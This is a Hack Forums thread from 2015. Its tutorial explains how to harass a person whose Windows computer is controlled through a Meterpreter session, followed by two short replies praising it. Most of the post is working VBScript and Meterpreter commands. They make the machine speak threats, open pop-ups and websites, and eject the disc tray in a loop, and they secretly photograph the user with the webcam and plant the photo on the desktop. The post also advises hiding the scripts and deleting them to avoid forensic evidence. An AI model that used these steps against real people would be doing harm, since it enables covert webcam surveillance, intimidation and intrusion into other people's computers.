+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Metasploit] Messing with people using Meterpreter (/showthread.php?tid=4851107)
[Metasploit] Messing with people using Meterpreter - Wilfre - Jun 4, 2015
Fun with Meterpreter
Hello, this is a tutorial on harassing people with Meterpreter. You can harass your friends and then tell them afterwards it was you... this is just for fun. If you harass random innocent people you don't know or have no reason to then that's not what this thread was made for. Note that forensic investigators can easily recover the deleted files for evidence so that's one reason I recommend you just do this to a friend as a prank. Basically this is a bunch of ways/ideas to mess with your target and just have fun. (I'm mostly going to be using the method of uploading .vbs scripts and running them to make odd things happen to their computer).
Meterpreter
Meterpreter is a payload in Metasploit that gives you almost infinite access to your target's computer. Let's say you have a Meterpreter shell on their computer. Here's how to harass them with Meterpreter! Note that most of these methods only work if your target system is running Windows. The hacker system is Linux in this tutorial.
Making their computer talk to them
On your computer create a new file called "talk.vbs". Open it with your text editor and paste this code in:
Do
StrText=("Knock knock, who's there?")
strText2=("Your fate!")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
ObjVoice.Speak StrText2
Loop
You can replace the words with whatever you like. Save it, now go back to Meterpreter and type:
meterpreter> upload (path to vbs file) C:\Users\%username%\Documents
You might want to put the vbs script in a more hidden place so he doesn't find it, but that was just an example. (remember, before you exit Meterpreter be sure to delete these vbs scripts!) Now to make it talk we just have to execute the vbs script:
meterpreter> shell
C:\> start (path to vbs file)
Knock knock.... ...who's there? Your fate!
Show him a picture of his webcam
This one is easy.
meterpreter> webcam_list
meterpreter> webcam_snap -i (webcam number)
Now let's upload the picture to his desktop so he'll see it and get freaked out
meterpreter> upload (path to your picture) C:\Users\%username%\Desktop
Pop up message boxes
Just like first method you make a vbs script and upload it. Here's the code for the pop up box:
x=msgbox("Your Text Here" ,0, "Your Title Here")
Of course switch it around and make it the way you like. Now upload it:
meterpreter> upload (path to your vbs file) C:\Users\%username%\Documents
Now run it:
meterpreter> shell
C:\> start C:\Users\%username%\Documents\disc_tray.vbs
Pop up random websites
I shouldn't even have to explain it.
meterpreter> shell
C:\> iexplore "yourwebsite.com"
There, replace the quotes with your website and bam.
Opening & closing the disc tray
Here's a vbs script that can open and close the disc tray on the target computer over and over:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
Now upload it:
meterpreter> upload (path to vbs script) C:\Users\%username%\Documents
meterpreter> shell
C:\> start C:\Users\%username%\Documents\popup.vbs
If I showed anything wrong or untrue please correct me in a comment, I'm not very experienced with meterpreter yet. These are just ideas I got and I thought I'd share some of them.
Thank You!
* - nondescriptoldie - Jun 6, 2015
Nice tutorial mate! ;)
Well done for making this.
Kind of detailed...this will help many noobs begin their journey within Metasploit!
* - ScreamOutLoud - Jun 12, 2015
Thanks mate. Gonna try this soon